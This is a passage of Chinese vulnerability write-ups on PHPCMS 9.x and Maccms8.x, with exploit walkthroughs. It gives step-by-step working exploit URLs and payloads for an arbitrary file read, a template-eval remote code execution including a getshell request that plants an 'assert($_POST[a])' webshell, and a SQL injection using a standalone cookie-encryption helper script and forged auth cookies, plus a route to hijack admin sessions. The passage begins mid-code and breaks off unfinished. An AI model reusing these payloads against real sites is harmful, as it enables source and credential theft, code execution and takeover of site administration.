        if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
            $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
        } else {
            $downurl = $f;            
        }
        include template('content','download');

这一块其实是down->init()的内容,将参数传到$a_k并进行sys_auth加密,然后传给了下面的download函数,这里的$a_k已经进行了encode加密操作:

init函数与download函数中的$a_k变量保持加/解密钥的一致性:

if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
…
…
public function download() {
        $a_k = trim($_GET['a_k']);
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

密钥key:

$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');

再往下跟进:

public function download() {
        $a_k = trim($_GET['a_k']);
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f,$t,$ip);
        $a_k = safe_replace($a_k);
        parse_str($a_k);        
        if(isset($i)) $downid = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        if(!$i || $m<0) showmessage(L('illegal_parameters'));
        if(!isset($t)) showmessage(L('illegal_parameters'));
        if(!isset($ip)) showmessage(L('illegal_parameters'));
        $starttime = intval($t);

变量s和f来源于变量a_k带入parse_str解析,注意a_k在down->init()中经过safe_replace处理过一次,经过sys_auth解密,key无法获取,所以需要让系统来为我们生成加密串a_k:

/phpcms/modules/content/down.php Line 11-18

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        $a_k = safe_replace($a_k);
        parse_str($a_k);

可以看出这里跟上次的sql注入点一样,获取了a_k进行了一次DECODE,那么咱们就需要一个加密好的key,最好的办法还是采用attachments模块的swfupload_json的加密cookie方法(跟之前的注入payload加密一个套路),这也是采用了phpcms功能的特性吧:

/phpcms/modules/attachment/attachments.php LINE 239-253

/**
     * 设置swfupload上传的json格式cookie
     */
    public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);
            return true;            
        }
    }

注意了这里也有一次safe_replace,加密函数在:param::set_cookie('att_json',$json_str);,跟进一下:

/phpcms/libs/classes/param.class.php LINE 86-99

    public static function set_cookie($var, $value = '', $time = 0) {
        $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
        $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
        $httponly = $var=='userid'||$var=='auth'?true:false;
        $var = pc_base::load_config('system','cookie_pre').$var;
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
            }
        } else {
            setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
        }
    }

sys_auth($value, 'ENCODE')即是利用了phpcms内置的加密函数进行数据加密,结果正好是咱们需要的,再看看attachments.php中是否有相关权限的验证:

构造方法:
/phpcms/modules/attachment/attachments.php LINE 10-24

class attachments {
    private $att_db;
    function __construct() {
        pc_base::load_app_func('global');
        $this->upload_url = pc_base::load_config('system','upload_url');
        $this->upload_path = pc_base::load_config('system','upload_path');        
        $this->imgext = array('jpg','gif','png','bmp','jpeg');
        $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
        $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
        $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
        //判断是否登录
        if(empty($this->userid)){
            showmessage(L('please_login','','member'));
        }
    }
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));

从这里的userid来看是需要普通用户的权限

       if(empty($this->userid)){
            showmessage(L('please_login','','member'));
        }

但是也可以传进加密后的userid_flash参数:sys_auth($_POST['userid_flash'],'DECODE')); 那么这里有两种利用方案,一种是直接通过phpcms会员中心登录获取的cookie中的userid做权限判断,还有一种方式是通过现成的经过sys_auth加密后的字符串去赋值给当前的userid,这里找到了一处,是利用了wap模块的构造方法:

/phpcms/modules/wap/index.php

class index {
    function __construct() {        
        $this->db = pc_base::load_model('content_model');
        $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
        param::set_cookie('siteid',$this->siteid);    
        $this->wap_site = getcache('wap_site','wap');
        $this->types = getcache('wap_type','wap');
        $this->wap = $this->wap_site[$this->siteid];
        define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
        if($this->wap['status']!=1) exit(L('wap_close_status'));
    }

set_cookie跟进去就是调用sys_auth 加密函数来加密外部获取的sited值,将这里的siteid值再带入上面的userid_flash即可。

接着再返回去看这两个可控参数:s=$s、f=$f,$s带需要读取的目标文件,$f带自己构造的绕过规则检测值:

$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE’, $pc_auth_key));

经过反复测试,可以采用如下参数,这里以读取down.php文件源码为例:

s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

解释一下这里的参数,s参数带的是要读取的down.php的源码文件,最后的p是由f参数的第一个字符p拼接过去的:

        $fileurl = trim($f);
        if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));    
        $endtime = SYS_TIME - $starttime;
        if($endtime > 3600) showmessage(L('url_invalid'));
        if($m) $fileurl = trim($s).trim($fileurl);
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

f=p%3%25252%2*70C : f参数是绕过正则匹配检查的关键,最后咱们要构造这样的形式:./phpcms/modules/content/down.php<,这样就能绕过所有匹配检测在最后的str_replace将”<“给替换为空,紧接着就能带入读取文件了。

再看看分析过程中遇到的phpcms安全函数safe_replace:

/phpcms/libs/functions/global.func.php

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

从过滤内容来看直接带”<“是不行的,需要构造参数,先来看看经过了几次过滤:

第一次参数得经过attachments->swfupload_json函数进行param::set_cookie加密:

最后输出的f=p%3C 就是咱们想要的”<“字符。

漏洞利用
方案一:
登录普通用户,访问链接:

http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C

获取分配的att_json

点击下载后即可下载目标文件

方案二:
在未登录的情况下访问:

index.php?m=wap&c=index&a=init&siteid=1

获取当前的siteid

再访问

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
Post
userid_flash=14e0uml6m504Lbwsd0mKpCe0EocnqxTnbfm4PPLW

根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload

/index.php?m=content&c=down&siteid=1&a=init&a_k=1f6bAdyYhC91b9X981OrtRQ4roIiRXo_bRgqAj-Z2o5FgCysD2zg7ntavIs4AaMmJA_e9241GHehxteBqSTmS9yNj9o8to1DhDSAiaV5kTFK3mfLphPSlHJ7YiI6CVpRjMzEVpo6vhOh5IB56Q

会返回一个下载地址。再访问下载地址就可以获取到文件内容了

GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1
Host: victim-server
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Content-Length: 0

HTTP/1.1 200 OK
Date: Wed, 03 May 2017 07:50:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.6
Vary: Accept-Encoding
Pragma: public
Last-Modified: Wed, 03 May 2017 07:50:12 GMT
Cache-Control: pre-check=0, post-check=0, max-age=0
Content-Transfer-Encoding: binary
Content-Encoding: none
Content-type: ph>p
Content-Disposition: attachment; filename="20170503_035012279.ph>p"
Content-length: 313
 
<?php
/**
 *  index.php PHPCMS 入口
 *
 * @copyright                   (C) 2005-2010 PHPCMS
 * @license                                 http://www.phpcms.cn/license/
 * @lastmodify                           2010-6-1
 */
 //PHPCMS根目录
 
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
 
include PHPCMS_PATH.'/phpcms/base.php';
 
pc_base::creat_app();
 
?>

Maccms8.x 命令执行漏洞分析

$
0
0

大概看了下目录和程序的结构 vod 是 /inc/module/vod.php
search 是里面的一个方法
这里先去除过滤函数

然后在index.php去除 360脚本的包含。

然后可以开始测试了

在 F:WWWmaccmsincmodulevod.php

elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
    //$wd = chkSql($wd);//这里就是检测到地方我先注释了
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
//if(empty($tpl->P["wd"]) && empty($tpl->P["ids"]) && empty($tpl->P["pinyin"]) && empty($tpl->P["starring"]) && empty($tpl->P["directed"]) && empty($tpl->P["area"]) && empty($tpl->P["lang"]) && empty($tpl->P["year"]) && empty($tpl->P["letter"]) && empty($tpl->P["tag"]) && empty($tpl->P["type"]) && empty($tpl->P["typeid"]) && empty($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
//
    $tpl->P['cp'] = 'vodsearch';
$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type'].  '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang'])  .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
echoPageCache($tpl->P['cp'],$tpl->P['cn']);
     
    
$tpl->P["where"]='';
$tpl->P["des"]='';
//省略无关代码
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");//加载模板文件
$tpl->mark();//将模板关键字进行替换
$tpl->pageshow();//将模板关键字进行替换
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );
     
//关键点是在 $valarr 变量  $colarr 的 {page:wd} 被 $tpl->P["wd"] 的值替换,而 $tpl->P["wd"] 就是我们 传入poc的值 {if-:p{page:lang}hpinfo()}a{endif-}}
  
$tpl->H = str_replace($colarr, $valarr ,$tpl->H); //接着再次直接写入模板文件
    unset($colarr,$valarr);//销毁变量的值
    //省略无关代码
}

然后我们跟踪 mark()
mark() 和pagesho() 都在 F:WWWmaccmsinccommontemplate.php 这个文件里面
都是对模板进行替换,我就不展示代码了。
然后返回到index.php文件。

<?php
/*
'软件名称:苹果CMS
'开发作者:MagicBlack    官方网站:[url]http://www.maccms.com/[/url]
'--------------------------------------------------------
'适用本程序需遵循 CC BY-ND 许可协议
'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
'不允许对程序代码以任何形式任何目的的再发布。
'--------------------------------------------------------
*/
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
define('MAC_MODULE','home');
require('inc/conn.php');
//require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');//这里获取到请求的 vod-search
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);//进行 - 的分割
    $parlen = count($par);
    $ac = $par[0];//将分割得到的 vod 传给 $ac
     
    if(empty($ac)){ $ac='vod'; $method='index'; }
     
    $colnum = array('id','pg','year','typeid','class','classid','src','num','aid','vid');
    if($parlen>=2){
            $method = $par[1];
             for($i=2;$i<$parlen;$i+=2){
            $tpl->P[trim($par[$i])] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : chkSql(urldecode(trim($par[$i+1])));
        }
    }
    if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
    if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
    unset($colnum);
    $tpl->initData();
    $acs = array('vod','art','map','user','gbook','comment','label');
    if(in_array($ac,$acs)){//这里取到 vod 这个值
            $tpl->P['module'] = $ac;
            include MAC_ROOT.'/inc/module/'.$ac.'.php';//然后加载这个模块
    }
    else{
            showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();//这里是重点 将程序自写的 if标签进行解析 我们跟进看看
    if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;//输出首页
?>

在 F:WWWmaccmsinccommontemplate.php 里面可以看到 ifex() 方法

function ifex()
     
        if (!strpos(",".$this->H,"{if-")) { return; }//判断是否是{if- 开头 不是则返回
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];//这里取到的是第一个正则的东西 我的测试数据就是A
$strif= asp2phpif( $iar[2][$m] ) ;//这里是取到第二个正则的东西 就是我们的 phpinfo
$strThen= $iar[3][$m];////这里是取到第三个正则的东西
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
try{
if (strpos(",".$strThen,$labelRule2)>0){//由于条件不满足 因为前面没有 ,号。所以跳到了else分支
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
$ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
$strElseif=asp2phpif($strElseif);
$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
$strElseifThen=str_replace("'","\'",$strElseifThen);
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
if ($elseifFlag) {break;}
}
}
if(!$elseifFlag){
$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
$strElseif0=asp2phpif($strElseif0);
$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
$strElseifThen0=str_replace("'","\'",$strElseifThen0);
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
}
$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){//由于这里还是不满足 所以继续跳到else分支
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
//这里是重点了 $strif 是我们传入的 phpinfo 从上面的分析来看 完全没有任何过滤就代入了这个php语句
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
 }
}
}
catch(Exception $e){
$this->H=str_replace($iar[0][$m],"",$this->H);
}
catch (Error $e) {
$this->H=str_replace($iar[0][$m],"",$this->H);
}
}
unset($elsearray);
unset($elseifArray);
unset($iar);
if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
}

最终这里执行的结果是这样的

测试poc

http://127.0.0.1/index.php?m=vod-search

post
wd={if-A:print(md5(23333))}{endif-A}

关于getshell

http://127.0.0.1/maccms/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

一句话密码a

PHPCMS V9.6.2 SQL注入漏洞分析

$
0
0

在会员前台管理中心接口的继承父类foreground:

/phpcms/modules/member/index.php LINE 11

class index extends foreground {
    private $times_db;
    function __construct() {
        parent::__construct();
        $this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
    }

这里继承了foreground,跟进去:

/phpcms/modules/member/classes/foreground.class.php line 19-38:

/**
     * 判断用户是否已经登陆
     */
    final public function check_member() {
        $phpcms_auth = param::get_cookie('auth');
        if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
            if ($phpcms_auth && ROUTE_A != 'mini') {
                showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
            } else {
                return true;
            }
        } else {
            //判断是否存在auth cookie
            if ($phpcms_auth) {
                $auth_key = $auth_key = get_auth_key('login');
                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
                //验证用户,获取用户信息
                $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这
                if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
                //获取用户模型信息
                $this->db->set_model($this->memberinfo['modelid']);

首先看到这里是验证前台会员用户是否登录,验证方法是解析客户端的cookie_pre_auth参数:

$phpcms_auth = param::get_cookie('auth’);

跟到get_cookie函数:

/phpcms/libs/classes/param.class.php LINE 107-116

 /**
     * 获取通过 set_cookie 设置的 cookie 变量 
     * @param string $var 变量名
     * @param string $default 默认值 
     * @return mixed 成功则返回cookie 值,否则返回 false
     */
    public static function get_cookie($var, $default = '') {
        $var = pc_base::load_config('system','cookie_pre').$var;
        $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
        if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
            $value = intval($value);
        } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
            $value = safe_replace($value);
        }
        return $value;
    }

首先读取system.php(网站全局配置./caches/configs/system.php)中的配置参数cookie_pre,也就是网站默认随机分配的cookie前缀,然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中解密,那么客户端的cookie_pre_auth应该是经过加密处理后的,有了这些信息后get_cookie先放到这里往下走到get_auth_key:

$auth_key = $auth_key = get_auth_key('login');
                list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
                //验证用户,获取用户信息
                $this->memberinfo = $this->db->get_one(array('userid'=>$userid));

这里咱们看到DECODE用到的key是$auth_key,而$auth_key又是通过get_auth_key('login’)获得的,再跟进get_auth_key:

./phpcms/libs/functions/global.func.php LINE 1601-1611:

/**
* 生成验证key
* @param $prefix   参数
* @param $suffix   参数
*/
function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
    }else if($prefix=='email'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
    }else{
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

可以看到这个$prefix即是外部传入的login,满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密,发现ip()是可以伪造的:

function ip() {
    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $ip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}

最后得到的md5值就是sys_auth($phpcms_auth, 'DECODE', $auth_key)的解密key了,这样来分析的话payload就是经过了两次加密,完全无视任何第三方防御。

利用方式就简单了:

通过任意文件读取获取到全局配置文件的auth_key值:

首先执行get_auth_key加密,在代码中输出$authkey = md5($prefix.$pc_auth_key)的值:

function get_auth_key($prefix,$suffix="") {
    if($prefix=='login'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
    }else if($prefix=='email'){
        $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
    }else{
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    echo $authkey;
    exit();
    return $authkey;
}

方便测试,IP参数伪造为X-Forwarded-For: 123.59.214.3,输出了$authkey后直接exit了:

然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面:

sys_auth_key.php:

<?php
/**
* 字符串加密、解密函数
*
*
* @param    string    $txt        字符串
* @param    string    $operation    ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param    string    $key        密钥:数字、字母、下划线
* @param    string    $expiry        过期时间
* @return    string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : '');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}
$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>

带入$authkey与sqli payload:

第一次加密:

http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de


第二次加密:

http://127.0.0.1/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB
5cb5c0FCT6xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHdJSsyxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf

然后带入到auth中里面去访问member接口:

伪造session进入后台
众所周知,通过sql注入得到的phpcms的管理员密码是无法破解出来的,具体加密啊算法:

/phpcms/libs/functions/global.func.php LINE 1248

/**
* 对用户的密码进行加密
* @param $password
* @param $encrypt //传入加密串,在修改密码时做认证
* @return array/password
*/
function password($password, $encrypt='') {
    $pwd = array();
    $pwd['encrypt'] =  $encrypt ? $encrypt : create_randomstr();
    $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
    return $encrypt ? $pwd['password'] : $pwd;
}

简单来说就是把明文密码做md5加密再连接上encrypt值(encrypt是创建用户的时候随机分配的字符串),再做一次md5加密,这样就很难解密了。

然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中,通过注入可以获取到session值来伪造访问后台页面,具体配置在system.php中:

<?php
return array(
//网站路径
'web_path' => '/phpcmsv961/',
//Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
'cookie_path' => '', //Cookie 作用路径
'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程

mysql存储方式,session有效期为30分钟。

/phpcms/libs/classes/session_mysql.class.php

/** 
* 删除指定的session_id
* 
* @param $id session
* @return bool
*/
    public function destroy($id) {
        return $this->db->delete(array('sessionid'=>$id));
    }
/**
* 删除过期的 session
* 
* @param $maxlifetime 存活期时间
* @return bool
*/
   public function gc($maxlifetime) {
        $expiretime = SYS_TIME - $maxlifetime;
        return $this->db->delete("`lastvisit`<$expiretime");
    }
}

只要触发了gc或destroy函数就会删除数据库中的session值,当管理员重新登陆后台后才重新生成session插入数据库中。

session数据库存放位置:

